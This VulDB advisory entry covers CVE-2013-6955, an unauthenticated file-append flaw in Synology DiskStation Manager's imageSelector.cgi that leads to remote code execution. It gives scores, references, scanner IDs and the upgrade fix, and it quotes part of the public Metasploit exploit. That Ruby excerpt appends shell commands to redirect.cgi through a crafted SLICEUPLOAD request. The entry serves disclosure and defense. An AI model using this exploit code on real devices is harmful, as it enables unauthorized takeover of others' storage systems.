VDB-11561 · CVE-2013-6955 · VU#615910

Synology DiskStation Manager 4.0-2257/4.1-2851/4.2-3236/4.3-3810 SliceUpload webman/imageSelector.cgi access control

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.2	$0-$5k	0.00

Summaryinfo

A vulnerability marked as critical has been reported in Synology DiskStation Manager 4.0-2257/4.1-2851/4.2-3236/4.3-3810. Affected by this vulnerability is an unknown functionality of the file webman/imageSelector.cgi of the component SliceUpload. The manipulation leads to access control. This vulnerability is documented as CVE-2013-6955. Additionally, an exploit exists. It is suggested to upgrade the affected component.

Detailsinfo

A vulnerability was found in Synology DiskStation Manager 4.0-2257/4.1-2851/4.2-3236/4.3-3810 (Network Attached Storage Software) and classified as critical. This issue affects an unknown code of the file webman/imageSelector.cgi of the component SliceUpload. The manipulation with an unknown input leads to a access control vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted is confidentiality, and integrity. The summary by CVE is:

webman/imageSelector.cgi in Synology DiskStation Manager (DSM) 4.0 before 4.0-2259, 4.2 before 4.2-3243, and 4.3 before 4.3-3810 Update 1 allows remote attackers to append data to arbitrary files, and consequently execute arbitrary code, via a pathname in the SLICEUPLOAD X-TMP-FILE HTTP header.

The weakness was released 12/20/2013 by Markus Wulftange with Daimler TSS GmbH as synology_dsm_sliceupload_exec_noauth.rb as not defined exploit (GitHub). The advisory is shared at github.com. The identification of this vulnerability is CVE-2013-6955 since 12/04/2013. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. Technical details as well as a public exploit are known. MITRE ATT&CK project uses the attack technique T1068 for this issue.

A public exploit has been developed by jvazquez-r7 in Ruby and been published immediately after the advisory. The exploit is available at github.com. It is declared as highly functional. The vulnerability scanner Nessus provides a plugin with the ID 72345 (Synology DiskStation Manager 4.3-x < 4.3-3810 Update 1 Multiple Vulnerabilities), which helps to determine the existence of the flaw in a target environment. It is assigned to the family CGI abuses. The commercial vulnerability scanner Qualys is able to test this issue with plugin 43355 (Synology DiskStation Manager Remote Command Execution Vulnerability). The code used by the exploit is:

cmds = [
     # sed is used to restore the redirect.cgi
     "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi",
     payload.encoded
   ].join("\n")

   mime_msg = Rex::MIME::Message.new
   mime_msg.add_part('login', nil, nil, 'form-data; name="source"')
   mime_msg.add_part('logo', nil, nil, 'form-data; name="type"')

   # unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n,
   # so we use a placeholder and replace it later
   cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)
   mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,
                 'form-data; name="foo"; filename="bar"')

   post_body = mime_msg.to_s
   post_body.strip!
   post_body.sub!(cmd_placeholder, cmds)

   # fix multipart encoding
   post_body.gsub!(/\r\n(--#{mime_msg.bound})/, '  \\1')

   # send request to append shell commands
   print_status("#{peer} - Injecting the payload...")
   res = send_request_cgi({
     'method'  => 'POST',
     'uri'    => normalize_uri('webman', 'imageSelector.cgi'),
     'ctype'   => "multipart/form-data; boundary=#{mime_msg.bound}",
     'headers' => {
      'X-TYPE-NAME' => 'SLICEUPLOAD',
      'X-TMP-FILE'  => '/usr/syno/synoman/redirect.cgi'
     },
     'data'   => post_body
   })

The advisory illustrates:

This is exploited by this module to append the given commands to /redirect.cgi, which is a regular shell script file, and can be invoked with another HTTP request.

Upgrading to version 4.0-2259, 4.2-3243 or and 4.3-3810 Update 1 eliminates this vulnerability. A possible mitigation has been published even before and not after the disclosure of the vulnerability. Furthermore it is possible to detect and prevent this kind of attack with TippingPoint and the filter 17117.

The vulnerability is also documented in the databases at X-Force (89911), Tenable (72345), SecurityFocus (BID 64516†), OSVDB (101247†) and Vulnerability Center (SBV-43207†). Entry connected to this vulnerability is available at VDB-11565. Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

Network Attached Storage Software

Vendor

Synology

Name

DiskStation Manager

Version

License

commercial

Website

Vendor: https://www.synology.com/

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.5
VulDB Meta Temp Score: 6.2

VulDB Base Score: 6.5
VulDB Temp Score: 6.2
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Access control
CWE: CWE-264
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Highly functional
Author: jvazquez-r7
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

Nessus ID: 72345
Nessus Name: Synology DiskStation Manager 4.3-x < 4.3-3810 Update 1 Multiple Vulnerabilities
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

MetaSploit ID: synology_dsm_sliceupload_exec_noauth.rb
MetaSploit Name: Synology DiskStation Manager SLICEUPLOAD Remote Command Execution
MetaSploit File: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: DiskStation Manager 4.0-2259/4.2-3243/and 4.3-3810 Update 1
TippingPoint: 🔍

McAfee IPS: 🔍
McAfee IPS Version: 🔍

Fortigate IPS: 🔍

Timelineinfo

11/11/2013 🔍
12/04/2013 +23 days 🔍
12/20/2013 +16 days 🔍
12/20/2013 +0 days 🔍
12/21/2013 +1 days 🔍
12/23/2013 +2 days 🔍
12/25/2013 +2 days 🔍
01/09/2014 +15 days 🔍
02/05/2014 +27 days 🔍
02/11/2014 +6 days 🔍
04/19/2025 +4085 days 🔍

Sourcesinfo

Vendor: synology.com

Advisory: synology_dsm_sliceupload_exec_noauth.rb
Researcher: Markus Wulftange
Organization: Daimler TSS GmbH
Status: Confirmed

CVE: CVE-2013-6955 (🔍)
GCVE (CVE): GCVE-0-2013-6955
GCVE (VulDB): GCVE-100-11561
CERT: 🔍
X-Force: 89911
SecurityFocus: 64516 - Synology DiskStation Manager 'imageSelector.cgi' Remote Command Execution Vulnerability
OSVDB: 101247
Vulnerability Center: 43207 - Synology DiskStation Manager Remote Arbitrary Code Execution via a Maliciously Crafted HTTP Request, High

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 12/21/2013 23:15
Updated: 04/19/2025 16:59
Changes: 12/21/2013 23:15 (80), 05/20/2017 10:36 (10), 06/04/2021 14:21 (4), 08/17/2024 22:52 (15), 12/23/2024 02:05 (5), 01/15/2025 02:39 (1), 04/19/2025 16:59 (1)
Complete: 🔍
Cache ID: 216:8E0:103

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

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